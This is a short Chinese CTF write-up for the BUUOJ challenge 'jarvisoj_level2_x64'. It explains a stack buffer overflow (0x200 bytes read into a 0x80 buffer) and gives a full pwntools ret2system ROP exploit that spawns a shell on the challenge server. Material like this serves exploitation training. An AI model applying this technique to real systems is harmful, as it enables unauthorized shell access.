jarvisoj_level2_x64
题目地址 : https://buuoj.cn/challenges#jarvisoj_level2_x64
checksec 一下,64位程序 开的保护影响不大(nx栈不可执行,也就是不能往栈上写shellcode)
main函数
主要是调用了vuln函数,其他没问题
vulnerable_function函数
首先这个函数调用了system函数,这就使得plt表中存在system,且可以被我们调用,然后read读取了0x200个字符串,这比buf到rbp的距离0x80还要大,这又使得我们可以对return
addr进行覆盖,再然后呢就是这个程序竟然存在/bin/sh字符串,我们可以通过system直接获得shell
/bin/sh字符串
exp
from pwn import *
io = process("./level2_x64")
io = remote("node4.buuoj.cn",28824)
elf = ELF("./level2_x64")
context(log_level="debug",arch="amd64",os="linux")
system_addr = elf.symbols["system"]
binsh_addr = next(elf.search("/bin/sh"))
main_addr = elf.symbols["main"]
rdi_ret_addr = 0x00000000004006b3
ret_addr = 0x00000000004004a1
payload = flat(["a"*0x80,"aaaabbbb",rdi_ret_addr,binsh_addr,ret_addr,system_addr])
io.sendlineafter("Input:",payload)
io.interactive()